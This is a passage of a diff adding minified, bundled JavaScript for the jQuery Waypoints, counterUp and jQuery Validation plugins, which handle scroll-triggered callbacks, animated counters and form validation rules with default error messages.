+ v = "waypoints-waypoint-ids",
+ y = "waypoint",
+ b = "waypoints",
+ o = function() {
+ function t(t) {
+ var e = this;
+ this.$element = t,
+ this.element = t[0],
+ this.didResize = !1,
+ this.didScroll = !1,
+ this.id = "context" + l++,
+ this.oldScroll = {
+ x: t.scrollLeft(),
+ y: t.scrollTop()
+ },
+ this.waypoints = {
+ horizontal: {},
+ vertical: {}
+ },
+ t.data(h, this.id),
+ d[this.id] = this,
+ t.bind(m, function() {
+ var t;
+ return e.didScroll || c ? void 0 : (e.didScroll = !0,
+ t = function() {
+ return e.doScroll(),
+ e.didScroll = !1
+ }
+ ,
+ s.setTimeout(t, i[b].settings.scrollThrottle))
+ }
+ ),
+ t.bind(f, function() {
+ var t;
+ return e.didResize ? void 0 : (e.didResize = !0,
+ t = function() {
+ return i[b]("refresh"),
+ e.didResize = !1
+ }
+ ,
+ s.setTimeout(t, i[b].settings.resizeThrottle))
+ }
+ )
+ }
+ return t.prototype.doScroll = function() {
+ var t, e = this;
+ return t = {
+ horizontal: {
+ newScroll: this.$element.scrollLeft(),
+ oldScroll: this.oldScroll.x,
+ forward: "right",
+ backward: "left"
+ },
+ vertical: {
+ newScroll: this.$element.scrollTop(),
+ oldScroll: this.oldScroll.y,
+ forward: "down",
+ backward: "up"
+ }
+ },
+ !c || t.vertical.oldScroll && t.vertical.newScroll || i[b]("refresh"),
+ i.each(t, function(t, s) {
+ var n, o, r;
+ return r = [],
+ o = s.newScroll > s.oldScroll,
+ n = o ? s.forward : s.backward,
+ i.each(e.waypoints[t], function(t, e) {
+ var i, n;
+ return s.oldScroll < (i = e.offset) && i <= s.newScroll ? r.push(e) : s.newScroll < (n = e.offset) && n <= s.oldScroll ? r.push(e) : void 0
+ }
+ ),
+ r.sort(function(t, e) {
+ return t.offset - e.offset
+ }
+ ),
+ o || r.reverse(),
+ i.each(r, function(t, e) {
+ return e.options.continuous || t === r.length - 1 ? e.trigger([n]) : void 0
+ }
+ )
+ }
+ ),
+ this.oldScroll = {
+ x: t.horizontal.newScroll,
+ y: t.vertical.newScroll
+ }
+ }
+ ,
+ t.prototype.refresh = function() {
+ var t, e, s, n = this;
+ return s = i.isWindow(this.element),
+ e = this.$element.offset(),
+ this.doScroll(),
+ t = {
+ horizontal: {
+ contextOffset: s ? 0 : e.left,
+ contextScroll: s ? 0 : this.oldScroll.x,
+ contextDimension: this.$element.width(),
+ oldScroll: this.oldScroll.x,
+ forward: "right",
+ backward: "left",
+ offsetProp: "left"
+ },
+ vertical: {
+ contextOffset: s ? 0 : e.top,
+ contextScroll: s ? 0 : this.oldScroll.y,
+ contextDimension: s ? i[b]("viewportHeight") : this.$element.height(),
+ oldScroll: this.oldScroll.y,
+ forward: "down",
+ backward: "up",
+ offsetProp: "top"
+ }
+ },
+ i.each(t, function(t, e) {
+ return i.each(n.waypoints[t], function(t, s) {
+ var n, o, r, a, l;
+ return n = s.options.offset,
+ r = s.offset,
+ o = i.isWindow(s.element) ? 0 : s.$element.offset()[e.offsetProp],
+ i.isFunction(n) ? n = n.apply(s.element) : "string" == typeof n && (n = parseFloat(n),
+ s.options.offset.indexOf("%") > -1 && (n = Math.ceil(e.contextDimension * n / 100))),
+ s.offset = o - e.contextOffset + e.contextScroll - n,
+ s.options.onlyOnScroll && null != r || !s.enabled ? void 0 : null !== r && r < (a = e.oldScroll) && a <= s.offset ? s.trigger([e.backward]) : null !== r && r > (l = e.oldScroll) && l >= s.offset ? s.trigger([e.forward]) : null === r && e.oldScroll >= s.offset ? s.trigger([e.forward]) : void 0
+ }
+ )
+ }
+ )
+ }
+ ,
+ t.prototype.checkEmpty = function() {
+ return i.isEmptyObject(this.waypoints.horizontal) && i.isEmptyObject(this.waypoints.vertical) ? (this.$element.unbind([f, m].join(" ")),
+ delete d[this.id]) : void 0
+ }
+ ,
+ t
+ }
+ (),
+ r = function() {
+ function t(t, e, s) {
+ var n, o;
+ s = i.extend({}, i.fn[y].defaults, s),
+ "bottom-in-view" === s.offset && (s.offset = function() {
+ var t;
+ return t = i[b]("viewportHeight"),
+ i.isWindow(e.element) || (t = e.$element.height()),
+ t - i(this).outerHeight()
+ }
+ ),
+ this.$element = t,
+ this.element = t[0],
+ this.axis = s.horizontal ? "horizontal" : "vertical",
+ this.callback = s.handler,
+ this.context = e,
+ this.enabled = s.enabled,
+ this.id = "waypoints" + g++,
+ this.offset = null ,
+ this.options = s,
+ e.waypoints[this.axis][this.id] = this,
+ a[this.axis][this.id] = this,
+ n = null != (o = t.data(v)) ? o : [],
+ n.push(this.id),
+ t.data(v, n)
+ }
+ return t.prototype.trigger = function(t) {
+ return this.enabled ? (null != this.callback && this.callback.apply(this.element, t),
+ this.options.triggerOnce ? this.destroy() : void 0) : void 0
+ }
+ ,
+ t.prototype.disable = function() {
+ return this.enabled = !1
+ }
+ ,
+ t.prototype.enable = function() {
+ return this.context.refresh(),
+ this.enabled = !0
+ }
+ ,
+ t.prototype.destroy = function() {
+ return delete a[this.axis][this.id],
+ delete this.context.waypoints[this.axis][this.id],
+ this.context.checkEmpty()
+ }
+ ,
+ t.getWaypointsByElement = function(t) {
+ var e, s;
+ return (s = i(t).data(v)) ? (e = i.extend({}, a.horizontal, a.vertical),
+ i.map(s, function(t) {
+ return e[t]
+ }
+ )) : []
+ }
+ ,
+ t
+ }
+ (),
+ p = {
+ init: function(t, e) {
+ var s;
+ return null == e && (e = {}),
+ null == (s = e.handler) && (e.handler = t),
+ this.each(function() {
+ var t, s, n, a;
+ return t = i(this),
+ n = null != (a = e.context) ? a : i.fn[y].defaults.context,
+ i.isWindow(n) || (n = t.closest(n)),
+ n = i(n),
+ s = d[n.data(h)],
+ s || (s = new o(n)),
+ new r(t,s,e)
+ }
+ ),
+ i[b]("refresh"),
+ this
+ },
+ disable: function() {
+ return p._invoke(this, "disable")
+ },
+ enable: function() {
+ return p._invoke(this, "enable")
+ },
+ destroy: function() {
+ return p._invoke(this, "destroy")
+ },
+ prev: function(t, e) {
+ return p._traverse.call(this, t, e, function(t, e, i) {
+ return e > 0 ? t.push(i[e - 1]) : void 0
+ }
+ )
+ },
+ next: function(t, e) {
+ return p._traverse.call(this, t, e, function(t, e, i) {
+ return e < i.length - 1 ? t.push(i[e + 1]) : void 0
+ }
+ )
+ },
+ _traverse: function(t, e, n) {
+ var o, r;
+ return null == t && (t = "vertical"),
+ null == e && (e = s),
+ r = u.aggregate(e),
+ o = [],
+ this.each(function() {
+ var e;
+ return e = i.inArray(this, r[t]),
+ n(o, e, r[t])
+ }
+ ),
+ this.pushStack(o)
+ },
+ _invoke: function(t, e) {
+ return t.each(function() {
+ var t;
+ return t = r.getWaypointsByElement(this),
+ i.each(t, function(t, i) {
+ return i[e](),
+ !0
+ }
+ )
+ }
+ ),
+ this
+ }
+ },
+ i.fn[y] = function() {
+ var t, s;
+ return s = arguments[0],
+ t = 2 <= arguments.length ? e.call(arguments, 1) : [],
+ p[s] ? p[s].apply(this, t) : i.isFunction(s) ? p.init.apply(this, arguments) : i.isPlainObject(s) ? p.init.apply(this, [null , s]) : i.error(s ? "The " + s + " method does not exist in jQuery Waypoints." : "jQuery Waypoints needs a callback function or handler option.")
+ }
+ ,
+ i.fn[y].defaults = {
+ context: s,
+ continuous: !0,
+ enabled: !0,
+ horizontal: !1,
+ offset: 0,
+ triggerOnce: !1
+ },
+ u = {
+ refresh: function() {
+ return i.each(d, function(t, e) {
+ return e.refresh()
+ }
+ )
+ },
+ viewportHeight: function() {
+ var t;
+ return null != (t = s.innerHeight) ? t : n.height()
+ },
+ aggregate: function(t) {
+ var e, s, n;
+ return e = a,
+ t && (e = null != (n = d[i(t).data(h)]) ? n.waypoints : void 0),
+ e ? (s = {
+ horizontal: [],
+ vertical: []
+ },
+ i.each(s, function(t, n) {
+ return i.each(e[t], function(t, e) {
+ return n.push(e)
+ }
+ ),
+ n.sort(function(t, e) {
+ return t.offset - e.offset
+ }
+ ),
+ s[t] = i.map(n, function(t) {
+ return t.element
+ }
+ ),
+ s[t] = i.unique(s[t])
+ }
+ ),
+ s) : []
+ },
+ above: function(t) {
+ return null == t && (t = s),
+ u._filter(t, "vertical", function(t, e) {
+ return e.offset <= t.oldScroll.y
+ }
+ )
+ },
+ below: function(t) {
+ return null == t && (t = s),
+ u._filter(t, "vertical", function(t, e) {
+ return e.offset > t.oldScroll.y
+ }
+ )
+ },
+ left: function(t) {
+ return null == t && (t = s),
+ u._filter(t, "horizontal", function(t, e) {
+ return e.offset <= t.oldScroll.x
+ }
+ )
+ },
+ right: function(t) {
+ return null == t && (t = s),
+ u._filter(t, "horizontal", function(t, e) {
+ return e.offset > t.oldScroll.x
+ }
+ )
+ },
+ enable: function() {
+ return u._invoke("enable")
+ },
+ disable: function() {
+ return u._invoke("disable")
+ },
+ destroy: function() {
+ return u._invoke("destroy")
+ },
+ extendFn: function(t, e) {
+ return p[t] = e
+ },
+ _invoke: function(t) {
+ var e;
+ return e = i.extend({}, a.vertical, a.horizontal),
+ i.each(e, function(e, i) {
+ return i[t](),
+ !0
+ }
+ )
+ },
+ _filter: function(t, e, s) {
+ var n, o;
+ return (n = d[i(t).data(h)]) ? (o = [],
+ i.each(n.waypoints[e], function(t, e) {
+ return s(n, e) ? o.push(e) : void 0
+ }
+ ),
+ o.sort(function(t, e) {
+ return t.offset - e.offset
+ }
+ ),
+ i.map(o, function(t) {
+ return t.element
+ }
+ )) : []
+ }
+ },
+ i[b] = function() {
+ var t, i;
+ return i = arguments[0],
+ t = 2 <= arguments.length ? e.call(arguments, 1) : [],
+ u[i] ? u[i].apply(null , t) : u.aggregate.call(null , i)
+ }
+ ,
+ i[b].settings = {
+ resizeThrottle: 100,
+ scrollThrottle: 30
+ },
+ n.load(function() {
+ return i[b]("refresh")
+ }
+ )
+ }
+ )
+ }
+ .call(this),
+ function(t) {
+ "use strict";
+ t.fn.counterUp = function(e) {
+ var i = t.extend({
+ time: 400,
+ delay: 10
+ }, e);
+ return this.each(function() {
+ var e = t(this)
+ , s = i
+ , n = function() {
+ var t = []
+ , i = s.time / s.delay
+ , n = e.text()
+ , o = /[0-9]+,[0-9]+/.test(n);
+ n = n.replace(/,/g, "");
+ for (var r = (/^[0-9]+$/.test(n),
+ /^[0-9]+\.[0-9]+$/.test(n)), a = r ? (n.split(".")[1] || []).length : 0, l = i; l >= 1; l--) {
+ var h = parseInt(n / i * l);
+ if (r && (h = parseFloat(n / i * l).toFixed(a)),
+ o)
+ for (; /(\d+)(\d{3})/.test(h.toString()); )
+ h = h.toString().replace(/(\d+)(\d{3})/, "$1,$2");
+ t.unshift(h)
+ }
+ e.data("counterup-nums", t),
+ e.text("0");
+ var d = function() {
+ e.text(e.data("counterup-nums").shift()),
+ e.data("counterup-nums").length ? setTimeout(e.data("counterup-func"), s.delay) : (delete e.data("counterup-nums"),
+ e.data("counterup-nums", null ),
+ e.data("counterup-func", null ))
+ }
+ ;
+ e.data("counterup-func", d),
+ setTimeout(e.data("counterup-func"), s.delay)
+ }
+ ;
+ e.waypoint(n, {
+ offset: "100%",
+ triggerOnce: !0
+ })
+ }
+ )
+ }
+ }
+ (jQuery),
+ !function(t) {
+ "function" == typeof define && define.amd ? define(["jquery"], t) : t(jQuery)
+ }
+ (function(t) {
+ t.extend(t.fn, {
+ validate: function(e) {
+ if (!this.length)
+ return void (e && e.debug && window.console && console.warn("Nothing selected, can't validate, returning nothing."));
+ var i = t.data(this[0], "validator");
+ return i ? i : (this.attr("novalidate", "novalidate"),
+ i = new t.validator(e,this[0]),
+ t.data(this[0], "validator", i),
+ i.settings.onsubmit && (this.on("click.validate", ":submit", function(e) {
+ i.settings.submitHandler && (i.submitButton = e.target),
+ t(this).hasClass("cancel") && (i.cancelSubmit = !0),
+ void 0 !== t(this).attr("formnovalidate") && (i.cancelSubmit = !0)
+ }
+ ),
+ this.on("submit.validate", function(e) {
+ function s() {
+ var s, n;
+ return i.settings.submitHandler ? (i.submitButton && (s = t("
").attr("name", i.submitButton.name).val(t(i.submitButton).val()).appendTo(i.currentForm)),
+ n = i.settings.submitHandler.call(i, i.currentForm, e),
+ i.submitButton && s.remove(),
+ void 0 !== n ? n : !1) : !0
+ }
+ return i.settings.debug && e.preventDefault(),
+ i.cancelSubmit ? (i.cancelSubmit = !1,
+ s()) : i.form() ? i.pendingRequest ? (i.formSubmitted = !0,
+ !1) : s() : (i.focusInvalid(),
+ !1)
+ }
+ )),
+ i)
+ },
+ valid: function() {
+ var e, i, s;
+ return t(this[0]).is("form") ? e = this.validate().form() : (s = [],
+ e = !0,
+ i = t(this[0].form).validate(),
+ this.each(function() {
+ e = i.element(this) && e,
+ s = s.concat(i.errorList)
+ }
+ ),
+ i.errorList = s),
+ e
+ },
+ rules: function(e, i) {
+ var s, n, o, r, a, l, h = this[0];
+ if (e)
+ switch (s = t.data(h.form, "validator").settings,
+ n = s.rules,
+ o = t.validator.staticRules(h),
+ e) {
+ case "add":
+ t.extend(o, t.validator.normalizeRule(i)),
+ delete o.messages,
+ n[h.name] = o,
+ i.messages && (s.messages[h.name] = t.extend(s.messages[h.name], i.messages));
+ break;
+ case "remove":
+ return i ? (l = {},
+ t.each(i.split(/\s/), function(e, i) {
+ l[i] = o[i],
+ delete o[i],
+ "required" === i && t(h).removeAttr("aria-required")
+ }
+ ),
+ l) : (delete n[h.name],
+ o)
+ }
+ return r = t.validator.normalizeRules(t.extend({}, t.validator.classRules(h), t.validator.attributeRules(h), t.validator.dataRules(h), t.validator.staticRules(h)), h),
+ r.required && (a = r.required,
+ delete r.required,
+ r = t.extend({
+ required: a
+ }, r),
+ t(h).attr("aria-required", "true")),
+ r.remote && (a = r.remote,
+ delete r.remote,
+ r = t.extend(r, {
+ remote: a
+ })),
+ r
+ }
+ }),
+ t.extend(t.expr[":"], {
+ blank: function(e) {
+ return !t.trim("" + t(e).val())
+ },
+ filled: function(e) {
+ return !!t.trim("" + t(e).val())
+ },
+ unchecked: function(e) {
+ return !t(e).prop("checked")
+ }
+ }),
+ t.validator = function(e, i) {
+ this.settings = t.extend(!0, {}, t.validator.defaults, e),
+ this.currentForm = i,
+ this.init()
+ }
+ ,
+ t.validator.format = function(e, i) {
+ return 1 === arguments.length ? function() {
+ var i = t.makeArray(arguments);
+ return i.unshift(e),
+ t.validator.format.apply(this, i)
+ }
+ : (arguments.length > 2 && i.constructor !== Array && (i = t.makeArray(arguments).slice(1)),
+ i.constructor !== Array && (i = [i]),
+ t.each(i, function(t, i) {
+ e = e.replace(new RegExp("\\{" + t + "\\}","g"), function() {
+ return i
+ }
+ )
+ }
+ ),
+ e)
+ }
+ ,
+ t.extend(t.validator, {
+ defaults: {
+ messages: {},
+ groups: {},
+ rules: {},
+ errorClass: "error",
+ validClass: "valid",
+ errorElement: "label",
+ focusCleanup: !1,
+ focusInvalid: !0,
+ errorContainer: t([]),
+ errorLabelContainer: t([]),
+ onsubmit: !0,
+ ignore: ":hidden",
+ ignoreTitle: !1,
+ onfocusin: function(t) {
+ this.lastActive = t,
+ this.settings.focusCleanup && (this.settings.unhighlight && this.settings.unhighlight.call(this, t, this.settings.errorClass, this.settings.validClass),
+ this.hideThese(this.errorsFor(t)))
+ },
+ onfocusout: function(t) {
+ this.checkable(t) || !(t.name in this.submitted) && this.optional(t) || this.element(t)
+ },
+ onkeyup: function(e, i) {
+ var s = [16, 17, 18, 20, 35, 36, 37, 38, 39, 40, 45, 144, 225];
+ 9 === i.which && "" === this.elementValue(e) || -1 !== t.inArray(i.keyCode, s) || (e.name in this.submitted || e === this.lastElement) && this.element(e)
+ },
+ onclick: function(t) {
+ t.name in this.submitted ? this.element(t) : t.parentNode.name in this.submitted && this.element(t.parentNode)
+ },
+ highlight: function(e, i, s) {
+ "radio" === e.type ? this.findByName(e.name).addClass(i).removeClass(s) : t(e).addClass(i).removeClass(s)
+ },
+ unhighlight: function(e, i, s) {
+ "radio" === e.type ? this.findByName(e.name).removeClass(i).addClass(s) : t(e).removeClass(i).addClass(s)
+ }
+ },
+ setDefaults: function(e) {
+ t.extend(t.validator.defaults, e)
+ },
+ messages: {
+ required: "This field is required.",
+ remote: "Please fix this field.",
+ email: "Please enter a valid email address.",
+ url: "Please enter a valid URL.",
+ date: "Please enter a valid date.",
+ dateISO: "Please enter a valid date ( ISO ).",
+ number: "Please enter a valid number.",
+ digits: "Please enter only digits.",
+ creditcard: "Please enter a valid credit card number.",
+ equalTo: "Please enter the same value again.",
+ maxlength: t.validator.format("Please enter no more than {0} characters."),
+ minlength: t.validator.format("Please enter at least {0} characters."),
+ rangelength: t.validator.format("Please enter a value between {0} and {1} characters long."),
+ range: t.validator.format("Please enter a value between {0} and {1}."),
+ max: t.validator.format("Please enter a value less than or equal to {0}."),
+ min: t.validator.format("Please enter a value greater than or equal to {0}.")
+ },
+ autoCreateRanges: !1,
+ prototype: {
+ init: function() {
+ function e(e) {
+ var i = t.data(this.form, "validator")
+ , s = "on" + e.type.replace(/^validate/, "")
+ , n = i.settings;
+ n[s] && !t(this).is(n.ignore) && n[s].call(i, this, e)
+ }
+ this.labelContainer = t(this.settings.errorLabelContainer),
+ this.errorContext = this.labelContainer.length && this.labelContainer || t(this.currentForm),
+ this.containers = t(this.settings.errorContainer).add(this.settings.errorLabelContainer),
+ this.submitted = {},
+ this.valueCache = {},
+ this.pendingRequest = 0,
+ this.pending = {},
+ this.invalid = {},
+ this.reset();
+ var i, s = this.groups = {};
+ t.each(this.settings.groups, function(e, i) {
+ "string" == typeof i && (i = i.split(/\s/)),
+ t.each(i, function(t, i) {
+ s[i] = e
+ }
+ )
+ }
+ ),
+ i = this.settings.rules,
+ t.each(i, function(e, s) {
+ i[e] = t.validator.normalizeRule(s)
+ }
+ ),
+ t(this.currentForm).on("focusin.validate focusout.validate keyup.validate", ":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'], [type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], [type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], [type='radio'], [type='checkbox']", e).on("click.validate", "select, option, [type='radio'], [type='checkbox']", e),
+ this.settings.invalidHandler && t(this.currentForm).on("invalid-form.validate", this.settings.invalidHandler),
+ t(this.currentForm).find("[required], [data-rule-required], .required").attr("aria-required", "true")
+ },
+ form: function() {
+ return this.checkForm(),
+ t.extend(this.submitted, this.errorMap),
+ this.invalid = t.extend({}, this.errorMap),
+ this.valid() || t(this.currentForm).triggerHandler("invalid-form", [this]),
+ this.showErrors(),
+ this.valid()
+ },
+ checkForm: function() {
+ this.prepareForm();
+ for (var t = 0, e = this.currentElements = this.elements(); e[t]; t++)
+ this.check(e[t]);
+ return this.valid()
+ },
+ element: function(e) {
+ var i = this.clean(e)
+ , s = this.validationTargetFor(i)
+ , n = !0;
+ return this.lastElement = s,
+ void 0 === s ? delete this.invalid[i.name] : (this.prepareElement(s),
+ this.currentElements = t(s),
+ n = this.check(s) !== !1,
+ n ? delete this.invalid[s.name] : this.invalid[s.name] = !0),
+ t(e).attr("aria-invalid", !n),
+ this.numberOfInvalids() || (this.toHide = this.toHide.add(this.containers)),
+ this.showErrors(),
+ n
+ },
+ showErrors: function(e) {
+ if (e) {
+ t.extend(this.errorMap, e),
+ this.errorList = [];
+ for (var i in e)
+ this.errorList.push({
+ message: e[i],
+ element: this.findByName(i)[0]
+ });
+ this.successList = t.grep(this.successList, function(t) {
+ return !(t.name in e)
+ }
+ )
+ }
+ this.settings.showErrors ? this.settings.showErrors.call(this, this.errorMap, this.errorList) : this.defaultShowErrors()
+ },
+ resetForm: function() {
+ t.fn.resetForm && t(this.currentForm).resetForm(),
+ this.submitted = {},
+ this.lastElement = null ,
+ this.prepareForm(),
+ this.hideErrors();
+ var e, i = this.elements().removeData("previousValue").removeAttr("aria-invalid");
+ if (this.settings.unhighlight)
+ for (e = 0; i[e]; e++)
+ this.settings.unhighlight.call(this, i[e], this.settings.errorClass, "");
+ else
+ i.removeClass(this.settings.errorClass)
+ },
+ numberOfInvalids: function() {
+ return this.objectLength(this.invalid)
+ },
+ objectLength: function(t) {
+ var e, i = 0;
+ for (e in t)
+ i++;
+ return i
+ },
+ hideErrors: function() {
+ this.hideThese(this.toHide)
+ },
+ hideThese: function(t) {
+ t.not(this.containers).text(""),
+ this.addWrapper(t).hide()
+ },
+ valid: function() {
+ return 0 === this.size()
+ },
+ size: function() {
+ return this.errorList.length
+ },
+ focusInvalid: function() {
+ if (this.settings.focusInvalid)
+ try {
+ t(this.findLastActive() || this.errorList.length && this.errorList[0].element || []).filter(":visible").focus().trigger("focusin")
+ } catch (e) {}
+ },
+ findLastActive: function() {
+ var e = this.lastActive;
+ return e && 1 === t.grep(this.errorList, function(t) {
+ return t.element.name === e.name
+ }
+ ).length && e
+ },
+ elements: function() {
+ var e = this
+ , i = {};
+ return t(this.currentForm).find("input, select, textarea").not(":submit, :reset, :image, :disabled").not(this.settings.ignore).filter(function() {
+ return !this.name && e.settings.debug && window.console && console.error("%o has no name assigned", this),
+ this.name in i || !e.objectLength(t(this).rules()) ? !1 : (i[this.name] = !0,
+ !0)
+ }
+ )
+ },
+ clean: function(e) {
+ return t(e)[0]
+ },
+ errors: function() {
+ var e = this.settings.errorClass.split(" ").join(".");
+ return t(this.settings.errorElement + "." + e, this.errorContext)
+ },
+ reset: function() {
+ this.successList = [],
+ this.errorList = [],
+ this.errorMap = {},
+ this.toShow = t([]),
+ this.toHide = t([]),
+ this.currentElements = t([])
+ },
+ prepareForm: function() {
+ this.reset(),
+ this.toHide = this.errors().add(this.containers)
+ },
+ prepareElement: function(t) {
+ this.reset(),
+ this.toHide = this.errorsFor(t)
+ },
+ elementValue: function(e) {
+ var i, s = t(e), n = e.type;
+ return "radio" === n || "checkbox" === n ? this.findByName(e.name).filter(":checked").val() : "number" === n && "undefined" != typeof e.validity ? e.validity.badInput ? !1 : s.val() : (i = s.val(),
+ "string" == typeof i ? i.replace(/\r/g, "") : i)
+ },
+ check: function(e) {
+ e = this.validationTargetFor(this.clean(e));
+ var i, s, n, o = t(e).rules(), r = t.map(o, function(t, e) {
+ return e
+ }
+ ).length, a = !1, l = this.elementValue(e);
+ for (s in o) {
+ n = {
+ method: s,
+ parameters: o[s]
+ };
+ try {
+ if (i = t.validator.methods[s].call(this, l, e, n.parameters),
+ "dependency-mismatch" === i && 1 === r) {
+ a = !0;
+ continue
+ }
+ if (a = !1,
+ "pending" === i)
+ return void (this.toHide = this.toHide.not(this.errorsFor(e)));
+ if (!i)
+ return this.formatAndAdd(e, n),
+ !1
+ } catch (h) {
+ throw this.settings.debug && window.console && console.log("Exception occurred when checking element " + e.id + ", check the '" + n.method + "' method.", h),
+ h instanceof TypeError && (h.message += ". Exception occurred when checking element " + e.id + ", check the '" + n.method + "' method."),
+ h
+ }
+ }
+ return a ? void 0 : (this.objectLength(o) && this.successList.push(e),
+ !0)
+ },
+ customDataMessage: function(e, i) {
+ return t(e).data("msg" + i.charAt(0).toUpperCase() + i.substring(1).toLowerCase()) || t(e).data("msg")
+ },
+ customMessage: function(t, e) {
+ var i = this.settings.messages[t];
+ return i && (i.constructor === String ? i : i[e])
+ },
+ findDefined: function() {
+ for (var t = 0; t < arguments.length; t++)
+ if (void 0 !== arguments[t])
+ return arguments[t];
+ return void 0
+ },
+ defaultMessage: function(e, i) {
+ return this.findDefined(this.customMessage(e.name, i), this.customDataMessage(e, i), !this.settings.ignoreTitle && e.title || void 0, t.validator.messages[i], "
Warning: No message defined for " + e.name + " ")
+ },
+ formatAndAdd: function(e, i) {
+ var s = this.defaultMessage(e, i.method)
+ , n = /\$?\{(\d+)\}/g;
+ "function" == typeof s ? s = s.call(this, i.parameters, e) : n.test(s) && (s = t.validator.format(s.replace(n, "{$1}"), i.parameters)),
+ this.errorList.push({
+ message: s,
+ element: e,
+ method: i.method
+ }),
+ this.errorMap[e.name] = s,
+ this.submitted[e.name] = s
+ },
+ addWrapper: function(t) {
+ return this.settings.wrapper && (t = t.add(t.parent(this.settings.wrapper))),
+ t
+ },
+ defaultShowErrors: function() {
+ var t, e, i;
+ for (t = 0; this.errorList[t]; t++)
+ i = this.errorList[t],
+ this.settings.highlight && this.settings.highlight.call(this, i.element, this.settings.errorClass, this.settings.validClass),
+ this.showLabel(i.element, i.message);
+ if (this.errorList.length && (this.toShow = this.toShow.add(this.containers)),
+ this.settings.success)
+ for (t = 0; this.successList[t]; t++)
+ this.showLabel(this.successList[t]);
+ if (this.settings.unhighlight)
+ for (t = 0,
+ e = this.validElements(); e[t]; t++)
+ this.settings.unhighlight.call(this, e[t], this.settings.errorClass, this.settings.validClass);
+ this.toHide = this.toHide.not(this.toShow),
+ this.hideErrors(),
+ this.addWrapper(this.toShow).show()
+ },
+ validElements: function() {
+ return this.currentElements.not(this.invalidElements())
+ },
+ invalidElements: function() {
+ return t(this.errorList).map(function() {
+ return this.element
+ }
+ )
+ },
+ showLabel: function(e, i) {
+ var s, n, o, r = this.errorsFor(e), a = this.idOrName(e), l = t(e).attr("aria-describedby");
+ r.length ? (r.removeClass(this.settings.validClass).addClass(this.settings.errorClass),
+ r.html(i)) : (r = t("<" + this.settings.errorElement + ">").attr("id", a + "-error").addClass(this.settings.errorClass).html(i || ""),
+ s = r,
+ this.settings.wrapper && (s = r.hide().show().wrap("<" + this.settings.wrapper + "/>").parent()),
+ this.labelContainer.length ? this.labelContainer.append(s) : this.settings.errorPlacement ? this.settings.errorPlacement(s, t(e)) : s.insertAfter(e),
+ r.is("label") ? r.attr("for", a) : 0 === r.parents("label[for='" + a + "']").length && (o = r.attr("id").replace(/(:|\.|\[|\]|\$)/g, "\\$1"),
+ l ? l.match(new RegExp("\\b" + o + "\\b")) || (l += " " + o) : l = o,
+ t(e).attr("aria-describedby", l),
+ n = this.groups[e.name],
+ n && t.each(this.groups, function(e, i) {
+ i === n && t("[name='" + e + "']", this.currentForm).attr("aria-describedby", r.attr("id"))
+ }
+ ))),
+ !i && this.settings.success && (r.text(""),
+ "string" == typeof this.settings.success ? r.addClass(this.settings.success) : this.settings.success(r, e)),
+ this.toShow = this.toShow.add(r)
+ },
+ errorsFor: function(e) {
+ var i = this.idOrName(e)
+ , s = t(e).attr("aria-describedby")
+ , n = "label[for='" + i + "'], label[for='" + i + "'] *";
+ return s && (n = n + ", #" + s.replace(/\s+/g, ", #")),
+ this.errors().filter(n)
+ },
+ idOrName: function(t) {
+ return this.groups[t.name] || (this.checkable(t) ? t.name : t.id || t.name)
+ },
+ validationTargetFor: function(e) {
+ return this.checkable(e) && (e = this.findByName(e.name)),
+ t(e).not(this.settings.ignore)[0]
+ },
+ checkable: function(t) {
+ return /radio|checkbox/i.test(t.type)
+ },
+ findByName: function(e) {
+ return t(this.currentForm).find("[name='" + e + "']")
+ },
+ getLength: function(e, i) {
+ switch (i.nodeName.toLowerCase()) {
+ case "select":
+ return t("option:selected", i).length;
+ case "input":
+ if (this.checkable(i))
+ return this.findByName(i.name).filter(":checked").length
+ }
+ return e.length
+ },
+ depend: function(t, e) {
+ return this.dependTypes[typeof t] ? this.dependTypes[typeof t](t, e) : !0
+ },
+ dependTypes: {
+ "boolean": function(t) {
+ return t
+ },
+ string: function(e, i) {
+ return !!t(e, i.form).length
+ },
+ "function": function(t, e) {
+ return t(e)
+ }
+ },
+ optional: function(e) {
+ var i = this.elementValue(e);
+ return !t.validator.methods.required.call(this, i, e) && "dependency-mismatch"
+ },
+ startRequest: function(t) {
+ this.pending[t.name] || (this.pendingRequest++,
+ this.pending[t.name] = !0)
+ },
+ stopRequest: function(e, i) {
+ this.pendingRequest--,
+ this.pendingRequest < 0 && (this.pendingRequest = 0),
+ delete this.pending[e.name],
+ i && 0 === this.pendingRequest && this.formSubmitted && this.form() ? (t(this.currentForm).submit(),
+ this.formSubmitted = !1) : !i && 0 === this.pendingRequest && this.formSubmitted && (t(this.currentForm).triggerHandler("invalid-form", [this]),
+ this.formSubmitted = !1)
+ },
+ previousValue: function(e) {
+ return t.data(e, "previousValue") || t.data(e, "previousValue", {
+ old: null ,
+ valid: !0,
+ message: this.defaultMessage(e, "remote")
+ })
+ },
+ destroy: function() {
+ this.resetForm(),
+ t(this.currentForm).off(".validate").removeData("validator")
+ }
+ },
+ classRuleSettings: {
+ required: {
+ required: !0
+ },
+ email: {
+ email: !0
+ },
+ url: {
+ url: !0
+ },
+ date: {
+ date: !0
+ },
+ dateISO: {
+ dateISO: !0
+ },
+ number: {
+ number: !0
+ },
+ digits: {
+ digits: !0
+ },
+ creditcard: {
+ creditcard: !0
+ }
+ },
+ addClassRules: function(e, i) {
+ e.constructor === String ? this.classRuleSettings[e] = i : t.extend(this.classRuleSettings, e)
+ },
+ classRules: function(e) {
+ var i = {}
+ , s = t(e).attr("class");
+ return s && t.each(s.split(" "), function() {
+ this in t.validator.classRuleSettings && t.extend(i, t.validator.classRuleSettings[this])
+ }
+ ),
+ i
+ },
+ normalizeAttributeRule: function(t, e, i, s) {
+ /min|max/.test(i) && (null === e || /number|range|text/.test(e)) && (s = Number(s),
+ isNaN(s) && (s = void 0)),
+ s || 0 === s ? t[i] = s : e === i && "range" !== e && (t[i] = !0)
+ },
+ attributeRules: function(e) {
+ var i, s, n = {}, o = t(e), r = e.getAttribute("type");
+ for (i in t.validator.methods)
+ "required" === i ? (s = e.getAttribute(i),
+ "" === s && (s = !0),
+ s = !!s) : s = o.attr(i),
+ this.normalizeAttributeRule(n, r, i, s);
+ return n.maxlength && /-1|2147483647|524288/.test(n.maxlength) && delete n.maxlength,
+ n
+ },
+ dataRules: function(e) {
+ var i, s, n = {}, o = t(e), r = e.getAttribute("type");
+ for (i in t.validator.methods)
+ s = o.data("rule" + i.charAt(0).toUpperCase() + i.substring(1).toLowerCase()),
